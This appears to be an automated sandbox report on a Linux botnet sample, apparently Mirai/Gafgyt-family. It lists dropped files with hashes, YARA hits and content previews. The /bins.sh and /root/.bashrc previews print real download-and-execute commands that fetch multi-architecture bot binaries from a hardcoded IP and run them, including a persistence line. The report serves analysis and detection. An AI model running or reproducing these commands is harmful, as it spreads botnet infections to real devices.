⊘No context

Created / dropped Files

/bins.sh

Download File

Process:	/bin/curl
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1317
Entropy (8bit):	4.7746750282447765
Encrypted:	false
SSDEEP:	24:9XpgXpTXpuXppXpFXpwXpHXpjqlXp/RXpCXpdcXpjtpXpHXpE:9X+XJXAXTXfXCX9X5qlXzXkX3cXFXVXi
MD5:	EDED9DAE48838A6EDECA5DFE542429FE
SHA1:	01C980D9F3289E6DD66C36BB43B8280693EE3ED7
SHA-256:	D051720B9D566D0A55247C7F10170C86DD7E8E7F19A3654B683B4DB098ABA3F6
SHA-512:	EA1D64B55FB51614923BA74A144A9F83B7C5DFB83FFFB2F1951B751AFE8BB156AADB5FAF1F0A5C753C30DA6C09D509647B272DE32251E8565318E7A80F900036
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ShellDownloader, Description: Yara detected ShellDownloader, Source: /bins.sh, Author: Joe Security
Reputation:	low
Preview:	cd /tmp \|\| cd /var/run; wget http://217.156.66.6/bins/armv4l; chmod 777 armv4l; ./armv4l wscan;..cd /tmp \|\| cd /var/run; wget http://217.156.66.6/bins/armv5l; chmod 777 armv5l; ./armv5l wscan;..cd /tmp \|\| cd /var/run; wget http://217.156.66.6/bins/armv6l; chmod 777 armv6l; ./armv6l wscan;..cd /tmp \|\| cd /var/run; wget http://217.156.66.6/bins/armv7l; chmod 777 armv7l; ./armv7l wscan;..cd /tmp \|\| cd /var/run; wget http://217.156.66.6/bins/i486; chmod 777 i486; ./i486 wscan;..cd /tmp \|\| cd /var/run; wget http://217.156.66.6/bins/i586; chmod 777 i586; ./i586 wscan;..cd /tmp \|\| cd /var/run; wget http://217.156.66.6/bins/i686; chmod 777 i686; ./i686 wscan;..cd /tmp \|\| cd /var/run; wget http://217.156.66.6/bins/m68k; chmod 777 m68k; ./m68k wscan;..cd /tmp \|\| cd /var/run; wget http://217.156.66.6/bins/mips; chmod 777 mips; ./mips wscan;..cd /tmp \|\| cd /var/run; wget http://217.156.66.6/bins/mipsel; chmod 777 mipsel; ./mipsel wscan;..cd /tmp \|\| cd /var/run; wget http://217.156.66.6/bins/powerp

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Reputation:	high, very likely benign file
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/root/.bashrc

Download File

Process:	/tmp/sh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	186
Entropy (8bit):	4.488550510424094
Encrypted:	false
SSDEEP:	3:C7exSgwLTKHYMOduLWiHSH7zFUbKEVQRFQJgwLTKHYMOduLWiHc:yeEgwLGHPirvFNBj+gwLGHPiL
MD5:	13517DFDD78FDE21FD25AE17CFCD85F5
SHA1:	85F360BCD3A53EE0EABCED08A2F7FD470A11A35E
SHA-256:	A21E1C76D55FDA6D08D6E40992BEDA0553B9EE7C0F9EDEF5E1A1C75CADB22284
SHA-512:	ED7EE12DBF59C550DE8C59EDBE8BD5D473E763A468751F42B613C989C377B31C05233455F42E1C702AEBE1209B80986DD8618EA85A197A4DDB6872CB1CE25F41
Malicious:	true
Reputation:	low
Preview:	./bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh".

/tmp/armv4l

Download File

Process:	/usr/bin/wget
File Type:	data
Category:	dropped
Size (bytes):	79160
Entropy (8bit):	6.151782349956336
Encrypted:	false
SSDEEP:	1536:gYihP9Apl2h1MfyvMKc3sg9JRoecElwiFZnRttbjNvbG6H:g/hP9Apl23QQmlwSRtttbG6H
MD5:	384A4F61844DEC9F140DCD4E512A50D5
SHA1:	979ED18E7E4647E20B93F7A4D14A5F3075E34D23
SHA-256:	BFE750AEDBBF7F989F9D6E34AFE85C6A411297D85D9F95C986B47DF203B6E728
SHA-512:	6AA96C938E641ECF90E5861C5C9EBC0E7AA47031995B9E0E2A0F10639AB486F338B39E7C11C5F708E9D9BFD61D6546CDC3AFD88503D6299648F8D98C10D51E1A
Malicious:	false
Reputation:	low
Preview:	Saving to: .armv4l...ELF...a..........(.........4...\|2......4. ...(.....................4!..4!..............4!..4!..4!.......f..........Q.td..................................-...L."...CB.........0@-.\P...0....S.0...P@...0... ....R......0...0.........0... ....R..... 0....S............0...0..0....$..P!......0.....-....<0....S...-.4...4.........,....0....S.$0.......S.................0....$..D!........-................ ... -...-.......-......0...3..v0..............G-.. ... ...0...0... ... ...0...0... ... ....... ....... ...0...0... ... ...0...0....... ....... ...0...0... ... ...0...0....... ....... ...0...0... ... .....p...P...`...@........................p...P...`...@....... ..(1...P...`...@...p".. ...........0....... '...%...&..0$.....,.X..0... ...............................O-.....`.M.\...H...\ ... ..\0..L ...0..\@..P0...@..\P..T@...P......XP...P.........3..#..b....r....I..aF..@..@p...`c..0`....@...`&..0#..`..r...0..,0....H.3...qG.. b..pa..R..,....".

/tmp/armv5l

Download File

Process:	/usr/bin/wget
File Type:	data
Category:	dropped
Size (bytes):	76080
Entropy (8bit):	6.14842277033087
Encrypted:	false
SSDEEP:	1536:iVlEaZ1lRNse6OODMbgbssjmiK8VbkTM7bInBPqs5W4D:iPEaZ1lR0zRBNkTM4BP1W4D
MD5:	7DF6EEAC15A21E8D6A1B34458F01AB7D
SHA1:	5FCF6E2650F16DC0E1FABDD7D26B22AFACD94B4E
SHA-256:	B13C8890F5D9894CB9311E6A72F712FE4C410C37EA7A5FFF26EABDEB5E43E089
SHA-512:	AF62342C9D1DE1CB9D11AF694E9E9F27F0C3DB18A8130242009B3ADF1D08C51429F5371BF2065800F180B23ED73EED4B42E442F5092F8CEC288582D0BD22E5E0
Malicious:	false
Reputation:	low
Preview:	Saving to: .armv5l...ELF...a..........(.........4...t&......4. ...(.....................,...,...............,...,...,........f..........Q.td..................................-...L."...A?.........0@-.\P...0....S.0...P@...0... ....R......0...0.........0... ....R..... 0....S............0...0..0.......H.......(.....-....<0....S...-.4...4.........,....0....S.$0.......S.................(.......<.........-................ ... -...-.......-......0...3..0...}...........G-.. ... ...0...0... ... ...0...0... ... ....... ....... ...0...0... ... ...0...0....... ....... ...0...0... ... ...0...0....... ....... ...0...0... ... .....p...P...`...@........................p...P...`...@....... ..(1...P...`...@...p".. ...........0....... '...%...&..0$.....,.X..0... .......................~.......O-.....`.M.\...H...\ ... ..\0..L ...0..\@..P0...@..\P..T@...P......XP...P.........3..#..b....r....I..aF..@..@p...`c..0`....@...`&..0#..`..r...0..,0....H.3...qG.. b..pa..R..,....".

/tmp/armv6l

Download File

Process:	/usr/bin/wget
File Type:	data
Category:	dropped
Size (bytes):	87204
Entropy (8bit):	6.13529861790841
Encrypted:	false
SSDEEP:	1536:EonB6NBwNPxzWGjef10KMM+bAa+S0VlTMfipHCBN5hYGIr9:gNKIf/+bAa+XHCBNHtIr9
MD5:	313BDA2BBC5D4969E5EB1E2BBAADB106
SHA1:	798C3B20894347062013BB626E063225E1C8E536
SHA-256:	7B8DBEFF17F63432AB14E4B1731356C36CBE7008B76D635AA86B578974E10BDC
SHA-512:	AE389739088F31FC4B063A84AC527DD7001E59C59DC85DF331DA5A9B663A7A0C75ADEE7CC4A6BDDA7A836E4B5B44E1362CF2A5D30958125664651FAC60B0EAC6
Malicious:	false
Reputation:	low
Preview:	Saving to: .armv6l...ELF..............(.....T...4....Q......4. ...(.....................@;..@;...............@...@...@.. ...Xi..........Q.td..................................-...L.................@-.,@...0....S..... 0....S........../..0...0...@..../. C.......@....-.@0....S...M.8...8......../.0....0....S.....$0....S....../........../......@..$C...@.................. ... -...-.......-......0..8..3....4........E-.. ... ...0...0... ... ...0...0... ... ...p...0...`...0...P...0...@...0....... ....... ...0...0... ... ...0...0... ... ...0...0... ... ...0...0... ... .....`...@...P.............p...........`...@...P........... ..'1...@...P.......`"..0... ...........p...0&.. $...%.....,.W..0... ...................E..../........O-.<.M.4...........4.......4 .. ....0...`..$0..$....P..3..#............A..AL. ......0c...L..... b...`..0#.$..... "..0..(0....I.3... ... ., ....a.#........0...)........H.......J..r....c.,0.......b..qG.."...p`...*.(........!B...(.. a.

/tmp/i586

Download File

Process:	/usr/bin/wget
File Type:	data
Category:	dropped
Size (bytes):	66434
Entropy (8bit):	6.5838443926770065
Encrypted:	false
SSDEEP:	1536:23NvZJw6EckhKHOBXogfkwpEtLI5O0/f7Vuiseruy2:oNhJjEYOBfMwpExIw4jAtxy2
MD5:	75E4676CCD5E28BC7C0B4B80ABFC0081
SHA1:	2754B06E0BC70913016C290F8CA23DD1BB62AD04
SHA-256:	6D7F7587118A183B86C026045FA59085DB36E822405EABF8EF1389586A059DE7
SHA-512:	15AD0E95D443FB84DA6096E5E70AC1907CFEAA9772CC6381E6AB72578AA5CB00F2E75219C18CC93EBFE5FDEAC0AFEDEFC42866570461CBDB4094E3415F67D0E7
Malicious:	false
Yara Hits:	Rule: Linux_Trojan_Gafgyt_5bf62ce4, Description: unknown, Source: /tmp/i586, Author: unknown Rule: Linux_Trojan_Mirai_fa3ad9d0, Description: unknown, Source: /tmp/i586, Author: unknown Rule: Linux_Trojan_Mirai_b14f4c5d, Description: unknown, Source: /tmp/i586, Author: unknown Rule: Linux_Trojan_Mirai_5f7b67b8, Description: unknown, Source: /tmp/i586, Author: unknown Rule: Linux_Trojan_Mirai_88de437f, Description: unknown, Source: /tmp/i586, Author: unknown Rule: Linux_Trojan_Mirai_ae9d0fa6, Description: unknown, Source: /tmp/i586, Author: unknown Rule: Linux_Trojan_Mirai_389ee3e9, Description: unknown, Source: /tmp/i586, Author: unknown Rule: Linux_Trojan_Mirai_cc93863b, Description: unknown, Source: /tmp/i586, Author: unknown Rule: Linux_Trojan_Mirai_8aa7b5d3, Description: unknown, Source: /tmp/i586, Author: unknown
Reputation:	low
Preview:	Saving to: .i586...ELF....................d...4...........4. ...(..............................................p...p.......i..........Q.td............................U..S.......w....h....C...[]..$............U.....=.r...t..5....$p....$p......u.......t....h.n.............r.......&....U..............Z........t.Rj.h.r..h.n....~.......p....t........t....h.p..........1.^....PTRh.U..h....QVhP....0..............UWVS....Z....p....J..H..J..H..J..H..J..H..K..N..K..N..K..Z..N..p..J..H..K..N..K..N..K..X..N..J..R..P..Q..S..Q..S..Q..S.....p...x...h...@..D$...$.......C.....s...{...k...$..D$.uG..%......@U....%.......@U..1..D$....@U....%......@U...D$...$...2.@W........1...A..A.1...A..A.1..A..A.0D$..D$..A...$A..$.<$,.._...XZ[^_].UWVS..L....D$H......$.@...$.D$@..$.R...$.T$A.T$@.I........L$B....T$.....D$C........1.D$D...T$D.D$..............0D$..L$........L$...T$.........T$A..........T$.1..L$....%........D$.........1.D$E...T$E.D$..............0D$..L$........L$ ..T$ .......

/tmp/i686

Download File

Process:	/usr/bin/wget
File Type:	data
Category:	dropped
Size (bytes):	71458
Entropy (8bit):	6.430056192077392
Encrypted:	false
SSDEEP:	1536:++6xw51Mr/K6Ibw772ZyJecXLyWkQvW2WAmKMklFq7w3:3RMr/obw772QBfFvW2WnFklos3
MD5:	9A86712DAE966283DAD51FFCA679FFE6
SHA1:	7127C8FC950A0D5BFA503F8AC81E2753CC93B699
SHA-256:	AEF05BDE3830C513F3AA5DCA6E561FBD5A053303CCD4FFC279D989581DB5BB2D
SHA-512:	BFA7110F6224EF7C165CA623E50C70180298E8A9648AFD4F56568F9767F6C888678FA886194230B8C3F9E366E60A57254825CCE1DFFC22870ECBFE3C8EF858CC
Malicious:	false
Yara Hits:	Rule: Linux_Trojan_Mirai_268aac0b, Description: unknown, Source: /tmp/i686, Author: unknown Rule: Linux_Trojan_Mirai_0cb1699c, Description: unknown, Source: /tmp/i686, Author: unknown Rule: Linux_Trojan_Mirai_3a85a418, Description: unknown, Source: /tmp/i686, Author: unknown Rule: Linux_Trojan_Mirai_2e3f67a9, Description: unknown, Source: /tmp/i686, Author: unknown Rule: Linux_Trojan_Mirai_88de437f, Description: unknown, Source: /tmp/i686, Author: unknown Rule: Linux_Trojan_Mirai_cc93863b, Description: unknown, Source: /tmp/i686, Author: unknown
Reputation:	low
Preview:	Saving to: .i686...ELF....................h...4...@.......4. ...(..........................................................i..........Q.td............................U..S............h....C...[]..$............U.....=`....t..1................u.......t...$...........`.................U..............Z..x.....t..T$.1.d....L$..T$...$.....~.........t........t...$........1.^....PTRh!j..h....QVh.....D..........VS.......Z..p.....J..H...J..H...J..H...J..H...K..N...K..N...K..Z..N..p...J..H...K..N...K..N...K..X..N..J........R..P...Q..S...Q..S...Q....S.....@..D$...C..D$...C..D$...C...$.*...C.........D$...C..D$...C..D$...C...$uI..D$....@j....D$....@j...D$....$...@j...D$...D$....@j....$.....2.@l...T$....F...0D$...D$..A...A.0D$...D$..A...A.0D$...D$..A...A.0.$..,...$.A...D...X[^.U.....W...VS..D.T$@..$.v...'......@...$.D$8..$..R...l$8.T$9..$..@..L-..D$:.........T$;............0.D$<...D$...D$<...............0D$...D$..D$...D$..L$..................0...D$9...L$..T$..D$...D$..L$.....

/tmp/m68k

Download File

Process:	/usr/bin/wget
File Type:	data
Category:	dropped
Size (bytes):	83138
Entropy (8bit):	6.289434074852061
Encrypted:	false
SSDEEP:	1536:dflKMRh3i85S5HRXYTHA3v8yvmqXWG49zHqK+H8YQOuqQ:dfltRh3iHHRXaHA39vL4xHFIDQ
MD5:	2EF48E57C882788402D09D9146344905
SHA1:	4238979C526EAF8AA918DAB4C2364BAC14B857C0
SHA-256:	F9A59025D9F6600FD03E909C865DA2F5C04F7DBC6E6D1F5E7A190B648EE12082
SHA-512:	0E1E82E01BAB91080788E3DC483328C9196D5874B18BA2BD6AAC1002985D78C5C69D48F98971C8FE9DDF2AD788D06C421E409F3A6C6D3CBB470FCD9D18FCA4F1
Malicious:	false
Reputation:	low
Preview:	Saving to: .m68k...ELF.......................D...4..B......4. ...(......................0...0....... .......0...P...P.......f....... .dt.Q............................NV..a....da.....N^NuNV..J9..TTf>"y..P. QJ.g.X.#..P.N."y..P. QJ.f.A.....J.g.Hy..0.N.X.......TTN^NuNV..N^NuNV..A.....J.g.Hy..TVHy..0.N.P.J...P.g.A.....J.g.Hy..P.N.X.N^NuNV..N^Nu.. . OHWHQHy....Hy....HP/.Hy.._.N....VJ.H.>0&o. $o.$...j.....j.....j....C...A......h.....h.....h....C...A......h.....h.....h....A...E......j.....j.....j...."K...+...+...+..\|.A.....E.....B...B....0..B....0..B....0.. ...0...2....`."K.+...+...+...+......g......@...).....@...).....@...).....@..R.X.p,..f.L..\|NuO...H.?>,o.\B..N.V.R.n...S.n...T.n...UB../.R&@&..........r...$.."..........@.V...@././.V........t...$..".....././B.././/C.0../.3........r...$.."........C.5B.../B.6B../.S/C.:../.=........r...$..".......4C.....B.?..........v...$.."....../.?B../.?/@.@. @./.C..........$..".....$...0B......../C.DB../.T*@&..........r...$.."..

/tmp/mips

Download File

Process:	/usr/bin/wget
File Type:	data
Category:	dropped
Size (bytes):	101146
Entropy (8bit):	5.516171665638431
Encrypted:	false
SSDEEP:	1536:gst8Gk3+re7JqMRN96M967v96Mdy++J2QXboLDekZqOyh:X2Gk3ge7Jv++JdrugOyh
MD5:	CD5F62058A2A890FC76B985BE3110BF9
SHA1:	6E606597E260B7F0273E6E7DD941829B7543F781
SHA-256:	CEEB3FAD6DEA83654E9D093F6ECA38973B7D848C1F3B841C9D407E989A8F8E13
SHA-512:	838A9B65EE6196356DBABC2AA1DBD2A491A5F1021F002D67DFCF898B028C1F3BD3DD1DCBB9E7AC58C318252A9226CCEA1FD270B919DB0DEB5916298621FCA1A1
Malicious:	false
Reputation:	low
Preview:	Saving to: .mips...ELF.....................@.`...4.........4. ...(.............@...@....g$..g$..............p..Ep..Ep.......lp........dt.Q............................<...'..l...!'.....................<...'..H...!... ....'9... ......................<...'......!........'9M.. ..........................'.. <...'......!'..... ....................."z .....@................p0.....Y....... ..$B... ....p0..p0.....Y....... ..$B...........@..$................ ..$.g ....$...."z ... ............'..(<...'..$...!'.........................$.g .@..$.z$. .......................p......@..$.p.. ........... ..'.. ............'.. .......!........<...'.....!...!...@....'...$......$'..............................\..... ..........................<...'..0...!....$...........$...........$...........$...........$...........$.....................................`!.....#...........&...........".......................b.......B...c.......C...b.......B......................$...........................%.N.%.

/tmp/mipsel

Download File

Process:	/usr/bin/wget
File Type:	data
Category:	dropped
Size (bytes):	101148
Entropy (8bit):	5.604649958202268
Encrypted:	false
SSDEEP:	1536:LnIUmPSXfc5yEZu1i3A6HjeVOBLKZsHuQOPBJu/HA:LnRmPSXfiDeVWK9nu/HA
MD5:	5240AEC103D3F3E1CB7ED9C666B61E93
SHA1:	9B950CC60B7424BB89D8DA15C91909DC54767473
SHA-256:	C89DDEE05B4A3F3297A469F825EF28086315ADB1B85116F886EDB871302BD122
SHA-512:	F9BD3865A29E214856AFD51B89DC319862B6CA1A9E97B0ED120848A73A96179BF9EA0BCF6D879726EAEB362E3DBD80E624921FF1C4A937325D78CD24932B0C80
Malicious:	false
Reputation:	low
Preview:	Saving to: .mipsel...ELF....................`.@.4...........4. ...(...............@...@.$o..$o...............p...pE..pE.....pl..........Q.td...............................<l.'!......'.......................<H.'!... .........9'.. ........................<..'!............U9'.. ......................... ..'...<..'!......' ....................... z".......@.............0p........Y....... ...B$.. .0p..0p........Y....... ...B$..........@....$.............. . o.$.......$ z". ...............(..'...<$.'!......'........................ o.$..@.$z.$.. .....................p........@..p.$.. ........... . ..'............ ..'....!..............<..'!...!...@..........'...$$.....'.......................\......... ............................<0.'!..........$...........$...........$...........$...........$..........$...........................!`........#...........&...........".......................b.......B...c.......C...b.......B........................$.........................V.%

/tmp/powerpc

Download File

Process:	/usr/bin/wget
File Type:	data
Category:	dropped
Size (bytes):	76993
Entropy (8bit):	6.307281122639877
Encrypted:	false
SSDEEP:	1536:gl9BskfuqkOvxLf6/VGdXi1dWHEfy71VibQEa9Zow:EsDMc3y7GbQv96w
MD5:	F473E376444C3F9CDC01CE83E747DDD6
SHA1:	9D4DF8A2B6903FBD28BA2B3F56DBA235280B69E3
SHA-256:	20F63283FD70B15A91207207EC132E003CE034136280EB5BEFA4BB7F7F019D40
SHA-512:	82333A7CC5E8D85C01E856D3135E64B9D8DCDC5B4FDAE5A6B49AC7F51CA061D17D756731FC24463D34F40580400440639AED38D6F20C75ADA5CB62C1DB4712EB
Malicious:	false
Reputation:	low
Preview:	Saving to: .powerpc...ELF...........................4..)......4. ...(.......................X...X...............X...X...X......e.........dt.Q.............................!..\|......$H...H.....$8!. \|...N.. .!..\|.......?..........\..../...@..\?......t.+../...A..$8...}).....tN..!...t.+../...@...= ..9)../...A...<`..8c.TK...8......\............\|...8!..N.. \|....!.........8!..\|...N.. = ..\|...9)...!../...<`..<.......8c.T8..`A...K..m=`..= .....h9)..8k.h/...A.../...A...})..N..!....8!..\|...N.. \|....!.........8!..\|...N.. \|).xT!.6=...9...8....!..\|...........8...\|h.x<...8...<...8...<`..8ci.H..P.!..9D..9c..8.......9.......8.......8.......\|l.x\|..x;.......?...?........................................................*...+...........'...(...........'...(...........%...&...........%...&..................H...................@..09<..W..9}..}I(.}... ..,\|...\|.0.\|.8.\|. .}DBx.,..;....l..;....L..\|.Jx....\|.Zx\|.Rx.,..\|..x.l......s....L.....xB...................8!. N.. .!..8...\|...\|l.x.a.....................

/tmp/qemu-open.4ICm9C (deleted)

Download File

Process:	/tmp/sh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	113
Entropy (8bit):	2.609500057911664
Encrypted:	false
SSDEEP:	3:ENFZgWNxVBdSQhVvX:ENjgKTWGf
MD5:	53C5763C34EF30DD5D58748E9E04CF93
SHA1:	884AE4BE4ED5D9BCDA1B1242FC46B78327E86B9A
SHA-256:	19490DE52A27C5B992C47A32124822FFDDBA8283B70AD1106D4D29A825EA6F1A
SHA-512:	2E7353524F32D47515EF7217244EF6ADFC1A8433CFAD5CF5805E2883C08337DB1348C225867D9E34C867D30E7773C8BF961AFEB9C8E89B7B842775BDD85F2F90
Malicious:	false
Reputation:	low
Preview:	5428 (/tmp/sh4.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2147483056 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.

/tmp/qemu-open.5gSxdC (deleted)

Download File

Process:	/tmp/sh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	113
Entropy (8bit):	2.609500057911664
Encrypted:	false
SSDEEP:	3:ENFZgWNxVBdSQhVvX:ENjgKTWGf
MD5:	53C5763C34EF30DD5D58748E9E04CF93
SHA1:	884AE4BE4ED5D9BCDA1B1242FC46B78327E86B9A
SHA-256:	19490DE52A27C5B992C47A32124822FFDDBA8283B70AD1106D4D29A825EA6F1A
SHA-512:	2E7353524F32D47515EF7217244EF6ADFC1A8433CFAD5CF5805E2883C08337DB1348C225867D9E34C867D30E7773C8BF961AFEB9C8E89B7B842775BDD85F2F90
Malicious:	false
Reputation:	low
Preview:	5428 (/tmp/sh4.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2147483056 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.

/tmp/qemu-open.6W7tiF (deleted)

Download File

Process:	/tmp/sh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	113
Entropy (8bit):	2.609500057911664
Encrypted:	false
SSDEEP:	3:ENFZgWNxVBdSQhVvX:ENjgKTWGf
MD5:	53C5763C34EF30DD5D58748E9E04CF93
SHA1:	884AE4BE4ED5D9BCDA1B1242FC46B78327E86B9A
SHA-256:	19490DE52A27C5B992C47A32124822FFDDBA8283B70AD1106D4D29A825EA6F1A
SHA-512:	2E7353524F32D47515EF7217244EF6ADFC1A8433CFAD5CF5805E2883C08337DB1348C225867D9E34C867D30E7773C8BF961AFEB9C8E89B7B842775BDD85F2F90
Malicious:	false
Preview:	5428 (/tmp/sh4.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2147483056 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.

/tmp/qemu-open.7PheCB (deleted)

Download File

Process:	/tmp/sh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	113
Entropy (8bit):	2.609500057911664
Encrypted:	false
SSDEEP:	3:ENFZgWNxVBdSQhVvX:ENjgKTWGf
MD5:	53C5763C34EF30DD5D58748E9E04CF93
SHA1:	884AE4BE4ED5D9BCDA1B1242FC46B78327E86B9A
SHA-256:	19490DE52A27C5B992C47A32124822FFDDBA8283B70AD1106D4D29A825EA6F1A
SHA-512:	2E7353524F32D47515EF7217244EF6ADFC1A8433CFAD5CF5805E2883C08337DB1348C225867D9E34C867D30E7773C8BF961AFEB9C8E89B7B842775BDD85F2F90
Malicious:	false
Preview:	5428 (/tmp/sh4.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2147483056 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.

/tmp/qemu-open.7PnQ4F (deleted)

Download File

Process:	/tmp/sh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	113
Entropy (8bit):	2.609500057911664
Encrypted:	false
SSDEEP:	3:ENFZgWNxVBdSQhVvX:ENjgKTWGf
MD5:	53C5763C34EF30DD5D58748E9E04CF93
SHA1:	884AE4BE4ED5D9BCDA1B1242FC46B78327E86B9A
SHA-256:	19490DE52A27C5B992C47A32124822FFDDBA8283B70AD1106D4D29A825EA6F1A
SHA-512:	2E7353524F32D47515EF7217244EF6ADFC1A8433CFAD5CF5805E2883C08337DB1348C225867D9E34C867D30E7773C8BF961AFEB9C8E89B7B842775BDD85F2F90
Malicious:	false
Preview:	5428 (/tmp/sh4.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2147483056 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.

/tmp/qemu-open.7dfnqE (deleted)

Download File

Process:	/tmp/sh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	113
Entropy (8bit):	2.609500057911664
Encrypted:	false
SSDEEP:	3:ENFZgWNxVBdSQhVvX:ENjgKTWGf
MD5:	53C5763C34EF30DD5D58748E9E04CF93
SHA1:	884AE4BE4ED5D9BCDA1B1242FC46B78327E86B9A
SHA-256:	19490DE52A27C5B992C47A32124822FFDDBA8283B70AD1106D4D29A825EA6F1A
SHA-512:	2E7353524F32D47515EF7217244EF6ADFC1A8433CFAD5CF5805E2883C08337DB1348C225867D9E34C867D30E7773C8BF961AFEB9C8E89B7B842775BDD85F2F90
Malicious:	false
Preview:	5428 (/tmp/sh4.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2147483056 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.

/tmp/qemu-open.7tLdmC (deleted)

Download File

Process:	/tmp/sh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	113
Entropy (8bit):	2.609500057911664
Encrypted:	false
SSDEEP:	3:ENFZgWNxVBdSQhVvX:ENjgKTWGf
MD5:	53C5763C34EF30DD5D58748E9E04CF93
SHA1:	884AE4BE4ED5D9BCDA1B1242FC46B78327E86B9A
SHA-256:	19490DE52A27C5B992C47A32124822FFDDBA8283B70AD1106D4D29A825EA6F1A
SHA-512:	2E7353524F32D47515EF7217244EF6ADFC1A8433CFAD5CF5805E2883C08337DB1348C225867D9E34C867D30E7773C8BF961AFEB9C8E89B7B842775BDD85F2F90
Malicious:	false
Preview:	5428 (/tmp/sh4.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2147483056 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.

/tmp/qemu-open.859a0B (deleted)

Download File

Process:	/tmp/sh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	113
Entropy (8bit):	2.609500057911664
Encrypted:	false
SSDEEP:	3:ENFZgWNxVBdSQhVvX:ENjgKTWGf
MD5:	53C5763C34EF30DD5D58748E9E04CF93
SHA1:	884AE4BE4ED5D9BCDA1B1242FC46B78327E86B9A
SHA-256:	19490DE52A27C5B992C47A32124822FFDDBA8283B70AD1106D4D29A825EA6F1A
SHA-512:	2E7353524F32D47515EF7217244EF6ADFC1A8433CFAD5CF5805E2883C08337DB1348C225867D9E34C867D30E7773C8BF961AFEB9C8E89B7B842775BDD85F2F90
Malicious:	false
Preview:	5428 (/tmp/sh4.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2147483056 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.

/tmp/qemu-open.8Xk6GE (deleted)

Download File

Process:	/tmp/sh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	113
Entropy (8bit):	2.609500057911664
Encrypted:	false
SSDEEP:	3:ENFZgWNxVBdSQhVvX:ENjgKTWGf
MD5:	53C5763C34EF30DD5D58748E9E04CF93
SHA1:	884AE4BE4ED5D9BCDA1B1242FC46B78327E86B9A
SHA-256:	19490DE52A27C5B992C47A32124822FFDDBA8283B70AD1106D4D29A825EA6F1A
SHA-512:	2E7353524F32D47515EF7217244EF6ADFC1A8433CFAD5CF5805E2883C08337DB1348C225867D9E34C867D30E7773C8BF961AFEB9C8E89B7B842775BDD85F2F90
Malicious:	false
Preview:	5428 (/tmp/sh4.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2147483056 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.

/tmp/qemu-open.CQR33K (deleted)

Download File

Process:	/tmp/sh4.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	3.5465935642949384
Encrypted:	false
SSDEEP:	3:TgKYn:TgKYn
MD5:	AEF4020327A62D78F5A8202D453B0A74
SHA1:	84FC7A7CBE0B4EF5BDB927B95EA1BD01665BE8B1
SHA-256:	1878DDF74B755A998CBFD2140779771966ADF507D2B95CA86906476BFD80575B
SHA-512:	0E1BF58363F746F19B92730E15E2091F05A2C87B120B004F3819735F4D60268E66711EBEB06E3B771B2DE327FCBB3DDD368241E7A6E1A1B759384F6D70A2C528
Malicious:	false
Preview:	/tmp/sh4.elf.

/tmp/qemu-open.DlVvKD (deleted)

Download File

Process:	/tmp/sh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	113
Entropy (8bit):	2.609500057911664
Encrypted:	false
SSDEEP:	3:ENFZgWNxVBdSQhVvX:ENjgKTWGf
MD5:	53C5763C34EF30DD5D58748E9E04CF93
SHA1:	884AE4BE4ED5D9BCDA1B1242FC46B78327E86B9A
SHA-256:	19490DE52A27C5B992C47A32124822FFDDBA8283B70AD1106D4D29A825EA6F1A
